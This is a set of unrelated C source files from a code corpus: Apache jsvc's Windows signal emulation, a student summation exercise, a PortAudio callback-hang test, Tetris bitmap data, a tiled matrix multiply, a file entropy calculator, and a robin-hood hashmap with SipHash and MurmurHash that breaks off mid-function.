/* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* @version $Id: signals.c 982560 2010-08-05 12:05:30Z mturk $ */ /* * as Windows does not support signal, jsvc uses events to emulate them. * The supported signal is SIGTERM. * The kills.c contains the kill logic. */ #ifdef OS_CYGWIN #include <windows.h> #include <stdio.h> static void (*HandleTerm) (void) = NULL; /* address of the handler routine. */ /* * Event handling routine */ void v_difthf(LPVOID par) { HANDLE hevint; /* make a local copy because the parameter is shared! */ hevint = (HANDLE) par; for (;;) { if (WaitForSingleObject(hevint, INFINITE) == WAIT_FAILED) { /* something have gone wrong. */ return; /* may be something more is needed. */ } /* call the interrupt handler. */ if (HandleTerm == NULL) return; HandleTerm(); } } /* * set a routine handler for the signal * note that it cannot be used to change the signal handler */ int SetTerm(void (*func) (void)) { char Name[256]; HANDLE hevint, hthread; DWORD ThreadId; SECURITY_ATTRIBUTES sa; SECURITY_DESCRIPTOR sd; sprintf(Name, "TERM%ld", GetCurrentProcessId()); /* * event cannot be inherited. * the event is reseted to nonsignaled after the waiting thread is released. * the start state is resetted. */ /* Initialize the new security descriptor. */ InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION); /* Add a NULL descriptor ACL to the security descriptor. */ SetSecurityDescriptorDacl(&sd, TRUE, (PACL) NULL, FALSE); sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = &sd; sa.bInheritHandle = TRUE; /* It works also with NULL instead &sa!! */ hevint = CreateEvent(&sa, FALSE, FALSE, Name); HandleTerm = func; if (hevint == NULL) return -1; /* failed */ /* create the thread to wait for event */ hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) v_difthf, (LPVOID) hevint, 0, &ThreadId); if (hthread == NULL) { /* failed remove the event */ CloseHandle(hevint); /* windows will remove it. */ return -1; } CloseHandle(hthread); /* not needed */ return 0; } #else const char __unused_signals_c[] = __FILE__; #endif
the_stack_data/237643585.c
/*Exercise 3 - Repetition Write a C program to calculate the sum of the numbers from 1 to n. Where n is a keyboard input. e.g. n -> 100 sum = 1+2+3+....+ 99+100 = 5050 n -> 1- sum = 1+2+3+...+10 = 55 */ #include <stdio.h> int main() { int i,n; int sum=0; printf("Give the value for n :"); scanf("%d",&n); for(i=0;i<=n;i++) { sum+= i; } printf("Sum is : %d",sum); return 0; }
the_stack_data/61074687.c
/** @file patest_hang.c @ingroup test_src @brief Play a sine then hang audio callback to test watchdog. @author Ross Bencina <[email protected]> @author Phil Burk <[email protected]> */ /* * $Id: patest_hang.c 1097 2006-08-26 08:27:53Z rossb $ * * This program uses the PortAudio Portable Audio Library. * For more information see: http://www.portaudio.com * Copyright (c) 1999-2000 Ross Bencina and Phil Burk * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files * (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, sublicense, and/or sell copies of the Software, * and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /* * The text above constitutes the entire PortAudio license; however, * the PortAudio community also makes the following non-binding requests: * * Any person wishing to distribute modifications to the Software is * requested to send the modifications to the original developer so that * they can be incorporated into the canonical version. It is also * requested that these non-binding requests be included along with the * license above. */ #include <stdio.h> #include <math.h> #include "portaudio.h" #define SAMPLE_RATE (44100) #define FRAMES_PER_BUFFER (1024) #ifndef M_PI #define M_PI (3.14159265) #endif #define TWOPI (M_PI * 2.0) typedef struct paTestData { int sleepFor; double phase; } paTestData; /* This routine will be called by the PortAudio engine when audio is needed. ** It may called at interrupt level on some machines so don't do anything ** that could mess up the system like calling malloc() or free(). */ static int patestCallback( const void *inputBuffer, void *outputBuffer, unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo* timeInfo, PaStreamCallbackFlags statusFlags, void *userData ) { paTestData *data = (paTestData*)userData; float *out = (float*)outputBuffer; unsigned long i; int finished = 0; double phaseInc = 0.02; double phase = data->phase; (void) inputBuffer; /* Prevent unused argument warning. */ for( i=0; i<framesPerBuffer; i++ ) { phase += phaseInc; if( phase > TWOPI ) phase -= TWOPI; /* This is not a very efficient way to calc sines. */ *out++ = (float) sin( phase ); /* mono */ } if( data->sleepFor > 0 ) { Pa_Sleep( data->sleepFor ); } data->phase = phase; return finished; } /*******************************************************************/ int main(void); int main(void) { PaStream* stream; PaStreamParameters outputParameters; PaError err; int i; paTestData data = {0}; printf("PortAudio Test: output sine wave. SR = %d, BufSize = %d\n", SAMPLE_RATE, FRAMES_PER_BUFFER ); err = Pa_Initialize(); if( err != paNoError ) goto error; outputParameters.device = Pa_GetDefaultOutputDevice(); /* Default output device. */ outputParameters.channelCount = 1; /* Mono output. */ outputParameters.sampleFormat = paFloat32; /* 32 bit floating point. */ outputParameters.hostApiSpecificStreamInfo = NULL; outputParameters.suggestedLatency = Pa_GetDeviceInfo(outputParameters.device) ->defaultLowOutputLatency; err = Pa_OpenStream(&stream, NULL, /* No input. */ &outputParameters, SAMPLE_RATE, FRAMES_PER_BUFFER, paClipOff, /* No out of range samples. */ patestCallback, &data); if (err != paNoError) goto error; err = Pa_StartStream( stream ); if( err != paNoError ) goto error; /* Gradually increase sleep time. */ /* Was: for( i=0; i<10000; i+= 1000 ) */ for(i=0; i <= 1000; i += 100) { printf("Sleep for %d milliseconds in audio callback.\n", i ); data.sleepFor = i; Pa_Sleep( ((i<1000) ? 1000 : i) ); } printf("Suffer for 10 seconds.\n"); Pa_Sleep( 10000 ); err = Pa_StopStream( stream ); if( err != paNoError ) goto error; err = Pa_CloseStream( stream ); if( err != paNoError ) goto error; Pa_Terminate(); printf("Test finished.\n"); return err; error: Pa_Terminate(); fprintf( stderr, "An error occured while using the portaudio stream\n" ); fprintf( stderr, "Error number: %d\n", err ); fprintf( stderr, "Error message: %s\n", Pa_GetErrorText( err ) ); return err; }
the_stack_data/20451175.c
const unsigned short TETRIS_data[1008] = { 4228, 4228, 4228, 4228, 4228, 4228, 1266, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 1266, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 1266, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 1266, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 4228, 4228, 1266, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 4228, 4228, 1266, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 348, 348, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 348, 348, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 348, 348, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 348, 1266, 4228, 348, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 348, 4228, 1266, 348, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 348, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 575, 575, 575, 575, 575, 575, 575, 575, 348, 348, 575, 575, 575, 575, 575, 575, 575, 575, 575, 575, 348, 348, 575, 575, 575, 575, 575, 575, 575, 575, 575, 575, 348, 348, 575, 575, 575, 575, 575, 575, 575, 575, 3743, 348, 1266, 348, 575, 575, 575, 575, 575, 575, 575, 575, 575, 575, 348, 1266, 348, 3743, 575, 575, 575, 575, 575, 575, 575, 575, 348, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 1266, 348, 348, 348, 348, 575, 575, 348, 348, 348, 348, 1266, 348, 575, 575, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 1266, 348, 348, 348, 348, 575, 575, 348, 348, 348, 348, 1266, 348, 575, 575, 348, 348, 348, 348, 348, 575, 575, 3743, 348, 1266, 348, 348, 348, 348, 575, 575, 348, 348, 348, 348, 1266, 348, 3743, 575, 575, 348, 348, 348, 348, 348, 348, 348, 1266, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 348, 348, 348, 348, 1266, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 348, 348, 348, 348, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 348, 348, 348, 348, 348, 1266, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 3743, 3743, 3743, 3743, 3743, 348, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 3743, 3743, 3743, 3743, 3743, 3743, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 1266, 348, 575, 3743, 3743, 3743, 3743, 3743, 3743, 348, 1266, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 575, 575, 575, 575, 575, 348, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 575, 575, 575, 575, 575, 575, 575, 348, 1266, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 4228, 1266, 348, 575, 575, 575, 575, 575, 575, 3743, 348, 1266, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 348, 348, 348, 348, 1266, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 348, 348, 575, 575, 575, 348, 1266, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 4228, 4228, 1266, 348, 348, 348, 348, 348, 348, 575, 3743, 348, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 1266, 348, 575, 575, 3743, 348, 1266, 1266, 348, 348, 348, 348, 575, 575, 348, 348, 348, 348, 1266, 1266, 348, 348, 348, 348, 348, 348, 348, 3743, 575, 575, 348, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 1266, 348, 575, 575, 3743, 348, 348, 3743, 3743, 3743, 3743, 575, 575, 3743, 3743, 3743, 3743, 348, 348, 3743, 3743, 3743, 3743, 3743, 3743, 3743, 575, 575, 348, 1266, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 575, 575, 575, 575, 575, 575, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 4228, 348, 575, 575, 348, 4228, 4228, 4228, 1266, 348, 575, 575, 348, 348, 575, 575, 575, 575, 575, 575, 575, 575, 575, 575, 348, 348, 575, 575, 575, 575, 575, 575, 575, 575, 348, 1266, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 1266, 348, 348, 1266, 4228, 4228, 4228, 4228, 1266, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 4228, 4228, 4228, 4228, 1266, 348, 348, 1266, 4228, 4228, 4228, 4228, 1266, 348, 348, 1266, 4228, 4228, 4228, 4228, 1266, 348, 348, 1266, 1266, 348, 348, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 1266, 348, 348, 348, 348, 348, 348, 348, 348, 1266, 4228, 4228, 4228, 4228, 4228, 4228, 4228, 4228, };
the_stack_data/69387.c
void mxm(int M, int N, int K, double **A, double **B, double **C) { register int i, ii, j, jj, k, kk; /*@ begin Loop( transform ArrCopy(aref='C[i][j]', dimsizes=[32,32], suffix='_copy', dtype='double') transform ArrCopy(aref='A[i][k]', dimsizes=[32,32]) transform ArrCopy(aref='B[k][j]', dimsizes=[32,32], dtype='double') for (ii=0; ii<=M-1; ii++) for (jj=0; jj<=N-1; jj++) for (kk=0; kk<=K-1; kk++) for (i=ii; i<=min(M-1,ii+31); i++) for (j=jj; j<=min(N-1,jj+31); j++) for (k=kk; k<=min(K-1,kk+31); k++) C[i][j]+=A[i][k]*B[k][j]; ) @*/ for (ii=0; ii<=M-1; ii++) for (jj=0; jj<=N-1; jj++) for (kk=0; kk<=K-1; kk++) for (i=ii; i<=min(M-1,ii+31); i++) for (j=jj; j<=min(N-1,jj+31); j++) for (k=kk; k<=min(K-1,kk+31); k++) C[i][j]+=A[i][k]*B[k][j]; /*@ end @*/ }
the_stack_data/146170.c
#include <stdio.h> #include <stdint.h> #include <math.h> int main(int argc, char **argv) { FILE* fp; int byte; double entropy; uint32_t count_sum; /* 頻度の総和 */ uint32_t byte_count[0x100] = { 0, }; /* 各バイトの出現数カウント */ /* 引数が少ない場合は使用方法を表示 */ if (argc < 2) { fprintf(stderr, "Usage: %s filename \n", argv[0]); return 1; } /* バイナリモードでファイルオープン */ fp = fopen(argv[1], "rb"); if (fp == NULL) { fprintf(stderr, "Cannnot open %s. \n", argv[1]); return 1; } /* 各バイトの出現頻度をカウント */ count_sum = 0; while ((byte = fgetc(fp)) != EOF) { byte_count[byte & 0xFF]++; count_sum++; } /* ファイルクローズ */ fclose(fp); /* エントロピー計算 */ entropy = 0.0f; for (byte = 0; byte < 0x100; byte++) { /* 頻度0のパターンについては 0 * log2(0) = 0 だから加算しない */ if (byte_count[byte] > 0) { /* 経験確率の計算 */ double prob = (double)byte_count[byte] / count_sum; entropy -= prob * log2(prob); } } /* 結果を表示 */ printf("entropy: %8.6f[byte] \n", entropy); /* 正常終了 */ return 0; }
the_stack_data/111078406.c
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdint.h> #include <stddef.h> #include <stdbool.h> // Copyright 2020 Joshua J Baker. All rights reserved. // Use of this source code is governed by an MIT-style // license that can be found in the LICENSE file. static void *(*_malloc)(size_t) = NULL; static void *(*_realloc)(void *, size_t) = NULL; static void (*_free)(void *) = NULL; // hashmap_set_allocator allows for configuring a custom allocator for // all hashmap library operations. This function, if needed, should be called // only once at startup and a prior to calling hashmap_new(). void hashmap_set_allocator(void *(*malloc)(size_t), void (*free)(void*)) { _malloc = malloc; _free = free; } #define panic(_msg_) { \ fprintf(stderr, "panic: %s (%s:%d)\n", (_msg_), __FILE__, __LINE__); \ exit(1); \ } struct bucket { uint64_t hash:48; uint64_t dib:16; }; // hashmap is an open addressed hash map using robinhood hashing. struct hashmap { void *(*malloc)(size_t); void *(*realloc)(void *, size_t); void (*free)(void *); bool oom; size_t elsize; size_t cap; uint64_t seed0; uint64_t seed1; uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1); int (*compare)(const void *a, const void *b, void *udata); void (*elfree)(void *item); void *udata; size_t bucketsz; size_t nbuckets; size_t count; size_t mask; size_t growat; size_t shrinkat; void *buckets; void *spare; void *edata; }; static struct bucket *bucket_at(struct hashmap *map, size_t index) { return (struct bucket*)(((char*)map->buckets)+(map->bucketsz*index)); } static void *bucket_item(struct bucket *entry) { return ((char*)entry)+sizeof(struct bucket); } static uint64_t get_hash(struct hashmap *map, const void *key) { return map->hash(key, map->seed0, map->seed1) << 16 >> 16; } // hashmap_new_with_allocator returns a new hash map using a custom allocator. // See hashmap_new for more information information struct hashmap *hashmap_new_with_allocator( void *(*_malloc)(size_t), void *(*_realloc)(void*, size_t), void (*_free)(void*), size_t elsize, size_t cap, uint64_t seed0, uint64_t seed1, uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1), int (*compare)(const void *a, const void *b, void *udata), void (*elfree)(void *item), void *udata) { _malloc = _malloc ? _malloc : malloc; _realloc = _realloc ? _realloc : realloc; _free = _free ? _free : free; int ncap = 16; if (cap < ncap) { cap = ncap; } else { while (ncap < cap) { ncap *= 2; } cap = ncap; } size_t bucketsz = sizeof(struct bucket) + elsize; while (bucketsz & (sizeof(uintptr_t)-1)) { bucketsz++; } // hashmap + spare + edata size_t size = sizeof(struct hashmap)+bucketsz*2; struct hashmap *map = _malloc(size); if (!map) { return NULL; } memset(map, 0, sizeof(struct hashmap)); map->elsize = elsize; map->bucketsz = bucketsz; map->seed0 = seed0; map->seed1 = seed1; map->hash = hash; map->compare = compare; map->elfree = elfree; map->udata = udata; map->spare = ((char*)map)+sizeof(struct hashmap); map->edata = (char*)map->spare+bucketsz; map->cap = cap; map->nbuckets = cap; map->mask = map->nbuckets-1; map->buckets = _malloc(map->bucketsz*map->nbuckets); if (!map->buckets) { _free(map); return NULL; } memset(map->buckets, 0, map->bucketsz*map->nbuckets); map->growat = map->nbuckets*0.75; map->shrinkat = map->nbuckets*0.10; map->malloc = _malloc; map->realloc = _realloc; map->free = _free; return map; } // hashmap_new returns a new hash map. // Param `elsize` is the size of each element in the tree. Every element that // is inserted, deleted, or retrieved will be this size. // Param `cap` is the default lower capacity of the hashmap. Setting this to // zero will default to 16. // Params `seed0` and `seed1` are optional seed values that are passed to the // following `hash` function. These can be any value you wish but it's often // best to use randomly generated values. // Param `hash` is a function that generates a hash value for an item. It's // important that you provide a good hash function, otherwise it will perform // poorly or be vulnerable to Denial-of-service attacks. This implementation // comes with two helper functions `hashmap_sip()` and `hashmap_murmur()`. // Param `compare` is a function that compares items in the tree. See the // qsort stdlib function for an example of how this function works. // The hashmap must be freed with hashmap_free(). // Param `elfree` is a function that frees a specific item. This should be NULL // unless you're storing some kind of reference data in the hash. struct hashmap *hashmap_new(size_t elsize, size_t cap, uint64_t seed0, uint64_t seed1, uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1), int (*compare)(const void *a, const void *b, void *udata), void (*elfree)(void *item), void *udata) { return hashmap_new_with_allocator( (_malloc?_malloc:malloc), (_realloc?_realloc:realloc), (_free?_free:free), elsize, cap, seed0, seed1, hash, compare, elfree, udata ); } static void free_elements(struct hashmap *map) { if (map->elfree) { for (size_t i = 0; i < map->nbuckets; i++) { struct bucket *bucket = bucket_at(map, i); if (bucket->dib) map->elfree(bucket_item(bucket)); } } } // hashmap_clear quickly clears the map. // Every item is called with the element-freeing function given in hashmap_new, // if present, to free any data referenced in the elements of the hashmap. // When the update_cap is provided, the map's capacity will be updated to match // the currently number of allocated buckets. This is an optimization to ensure // that this operation does not perform any allocations. void hashmap_clear(struct hashmap *map, bool update_cap) { map->count = 0; free_elements(map); if (update_cap) { map->cap = map->nbuckets; } else if (map->nbuckets != map->cap) { void *new_buckets = map->malloc(map->bucketsz*map->cap); if (new_buckets) { map->free(map->buckets); map->buckets = new_buckets; } map->nbuckets = map->cap; } memset(map->buckets, 0, map->bucketsz*map->nbuckets); map->mask = map->nbuckets-1; map->growat = map->nbuckets*0.75; map->shrinkat = map->nbuckets*0.10; } static bool resize(struct hashmap *map, size_t new_cap) { struct hashmap *map2 = hashmap_new(map->elsize, new_cap, map->seed1, map->seed1, map->hash, map->compare, map->elfree, map->udata); if (!map2) { return false; } for (size_t i = 0; i < map->nbuckets; i++) { struct bucket *entry = bucket_at(map, i); if (!entry->dib) { continue; } entry->dib = 1; size_t j = entry->hash & map2->mask; for (;;) { struct bucket *bucket = bucket_at(map2, j); if (bucket->dib == 0) { memcpy(bucket, entry, map->bucketsz); break; } if (bucket->dib < entry->dib) { memcpy(map2->spare, bucket, map->bucketsz); memcpy(bucket, entry, map->bucketsz); memcpy(entry, map2->spare, map->bucketsz); } j = (j + 1) & map2->mask; entry->dib += 1; } } map->free(map->buckets); map->buckets = map2->buckets; map->nbuckets = map2->nbuckets; map->mask = map2->mask; map->growat = map2->growat; map->shrinkat = map2->shrinkat; map->free(map2); return true; } // hashmap_set inserts or replaces an item in the hash map. If an item is // replaced then it is returned otherwise NULL is returned. This operation // may allocate memory. If the system is unable to allocate additional // memory then NULL is returned and hashmap_oom() returns true. void *hashmap_set(struct hashmap *map, void *item) { if (!item) { panic("item is null"); } map->oom = false; if (map->count == map->growat) { if (!resize(map, map->nbuckets*2)) { map->oom = true; return NULL; } } struct bucket *entry = map->edata; entry->hash = get_hash(map, item); entry->dib = 1; memcpy(bucket_item(entry), item, map->elsize); size_t i = entry->hash & map->mask; for (;;) { struct bucket *bucket = bucket_at(map, i); if (bucket->dib == 0) { memcpy(bucket, entry, map->bucketsz); map->count++; return NULL; } if (entry->hash == bucket->hash && map->compare(bucket_item(entry), bucket_item(bucket), map->udata) == 0) { memcpy(map->spare, bucket_item(bucket), map->elsize); memcpy(bucket_item(bucket), bucket_item(entry), map->elsize); return map->spare; } if (bucket->dib < entry->dib) { memcpy(map->spare, bucket, map->bucketsz); memcpy(bucket, entry, map->bucketsz); memcpy(entry, map->spare, map->bucketsz); } i = (i + 1) & map->mask; entry->dib += 1; } } // hashmap_get returns the item based on the provided key. If the item is not // found then NULL is returned. void *hashmap_get(struct hashmap *map, const void *key) { if (!key) { panic("key is null"); } uint64_t hash = get_hash(map, key); size_t i = hash & map->mask; for (;;) { struct bucket *bucket = bucket_at(map, i); if (!bucket->dib) { return NULL; } if (bucket->hash == hash && map->compare(key, bucket_item(bucket), map->udata) == 0) { return bucket_item(bucket); } i = (i + 1) & map->mask; } } // hashmap_probe returns the item in the bucket at position or NULL if an item // is not set for that bucket. The position is 'moduloed' by the number of // buckets in the hashmap. void *hashmap_probe(struct hashmap *map, uint64_t position) { size_t i = position & map->mask; struct bucket *bucket = bucket_at(map, i); if (!bucket->dib) { return NULL; } return bucket_item(bucket); } // hashmap_delete removes an item from the hash map and returns it. If the // item is not found then NULL is returned. void *hashmap_delete(struct hashmap *map, void *key) { if (!key) { panic("key is null"); } map->oom = false; uint64_t hash = get_hash(map, key); size_t i = hash & map->mask; for (;;) { struct bucket *bucket = bucket_at(map, i); if (!bucket->dib) { return NULL; } if (bucket->hash == hash && map->compare(key, bucket_item(bucket), map->udata) == 0) { memcpy(map->spare, bucket_item(bucket), map->elsize); bucket->dib = 0; for (;;) { struct bucket *prev = bucket; i = (i + 1) & map->mask; bucket = bucket_at(map, i); if (bucket->dib <= 1) { prev->dib = 0; break; } memcpy(prev, bucket, map->bucketsz); prev->dib--; } map->count--; if (map->nbuckets > map->cap && map->count <= map->shrinkat) { // Ignore the return value. It's ok for the resize operation to // fail to allocate enough memory because a shrink operation // does not change the integrity of the data. resize(map, map->nbuckets/2); } return map->spare; } i = (i + 1) & map->mask; } } // hashmap_count returns the number of items in the hash map. size_t hashmap_count(struct hashmap *map) { return map->count; } // hashmap_free frees the hash map // Every item is called with the element-freeing function given in hashmap_new, // if present, to free any data referenced in the elements of the hashmap. void hashmap_free(struct hashmap *map) { if (!map) return; free_elements(map); map->free(map->buckets); map->free(map); } // hashmap_oom returns true if the last hashmap_set() call failed due to the // system being out of memory. bool hashmap_oom(struct hashmap *map) { return map->oom; } // hashmap_scan iterates over all items in the hash map // Param `iter` can return false to stop iteration early. // Returns false if the iteration has been stopped early. bool hashmap_scan(struct hashmap *map, bool (*iter)(const void *item, void *udata), void *udata) { for (size_t i = 0; i < map->nbuckets; i++) { struct bucket *bucket = bucket_at(map, i); if (bucket->dib) { if (!iter(bucket_item(bucket), udata)) { return false; } } } return true; } //----------------------------------------------------------------------------- // SipHash reference C implementation // // Copyright (c) 2012-2016 Jean-Philippe Aumasson // <[email protected]> // Copyright (c) 2012-2014 Daniel J. Bernstein <[email protected]> // // To the extent possible under law, the author(s) have dedicated all copyright // and related and neighboring rights to this software to the public domain // worldwide. This software is distributed without any warranty. // // You should have received a copy of the CC0 Public Domain Dedication along // with this software. If not, see // <http://creativecommons.org/publicdomain/zero/1.0/>. // // default: SipHash-2-4 //----------------------------------------------------------------------------- static uint64_t SIP64(const uint8_t *in, const size_t inlen, uint64_t seed0, uint64_t seed1) { #define U8TO64_LE(p) \ { (((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) | \ ((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \ ((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \ ((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56)) } #define U64TO8_LE(p, v) \ { U32TO8_LE((p), (uint32_t)((v))); \ U32TO8_LE((p) + 4, (uint32_t)((v) >> 32)); } #define U32TO8_LE(p, v) \ { (p)[0] = (uint8_t)((v)); \ (p)[1] = (uint8_t)((v) >> 8); \ (p)[2] = (uint8_t)((v) >> 16); \ (p)[3] = (uint8_t)((v) >> 24); } #define ROTL(x, b) (uint64_t)(((x) << (b)) | ((x) >> (64 - (b)))) #define SIPROUND \ { v0 += v1; v1 = ROTL(v1, 13); \ v1 ^= v0; v0 = ROTL(v0, 32); \ v2 += v3; v3 = ROTL(v3, 16); \ v3 ^= v2; \ v0 += v3; v3 = ROTL(v3, 21); \ v3 ^= v0; \ v2 += v1; v1 = ROTL(v1, 17); \ v1 ^= v2; v2 = ROTL(v2, 32); } uint64_t k0 = U8TO64_LE((uint8_t*)&seed0); uint64_t k1 = U8TO64_LE((uint8_t*)&seed1); uint64_t v3 = UINT64_C(0x7465646279746573) ^ k1; uint64_t v2 = UINT64_C(0x6c7967656e657261) ^ k0; uint64_t v1 = UINT64_C(0x646f72616e646f6d) ^ k1; uint64_t v0 = UINT64_C(0x736f6d6570736575) ^ k0; const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t)); for (; in != end; in += 8) { uint64_t m = U8TO64_LE(in); v3 ^= m; SIPROUND; SIPROUND; v0 ^= m; } const int left = inlen & 7; uint64_t b = ((uint64_t)inlen) << 56; switch (left) { case 7: b |= ((uint64_t)in[6]) << 48; case 6: b |= ((uint64_t)in[5]) << 40; case 5: b |= ((uint64_t)in[4]) << 32; case 4: b |= ((uint64_t)in[3]) << 24; case 3: b |= ((uint64_t)in[2]) << 16; case 2: b |= ((uint64_t)in[1]) << 8; case 1: b |= ((uint64_t)in[0]); break; case 0: break; } v3 ^= b; SIPROUND; SIPROUND; v0 ^= b; v2 ^= 0xff; SIPROUND; SIPROUND; SIPROUND; SIPROUND; b = v0 ^ v1 ^ v2 ^ v3; uint64_t out = 0; U64TO8_LE((uint8_t*)&out, b); return out; } //----------------------------------------------------------------------------- // MurmurHash3 was written by Austin Appleby, and is placed in the public // domain. The author hereby disclaims copyright to this source code. // // Murmur3_86_128 //----------------------------------------------------------------------------- static void MM86128(const void *key, const int len, uint32_t seed, void *out) { #define ROTL32(x, r) ((x << r) | (x >> (32 - r))) #define FMIX32(h) h^=h>>16; h*=0x85ebca6b; h^=h>>13; h*=0xc2b2ae35; h^=h>>16; const uint8_t * data = (const uint8_t*)key; const int nblocks = len / 16; uint32_t h1 = seed; uint32_t h2 = seed; uint32_t h3 = seed; uint32_t h4 = seed; uint32_t c1 = 0x239b961b; uint32_t c2 = 0xab0e9789; uint32_t c3 = 0x38b34ae5; uint32_t c4 = 0xa1e38b93; const uint32_t * blocks = (const uint32_t *)(data + nblocks*16); for (int i = -nblocks; i; i++) { uint32_t k1 = blocks[i*4+0]; uint32_t k2 = blocks[i*4+1]; uint32_t k3 = blocks[i*4+2]; uint32_t k4 = blocks[i*4+3]; k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1; h1 = ROTL32(h1,19); h1 += h2; h1 = h1*5+0x561ccd1b; k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2; h2 = ROTL32(h2,17); 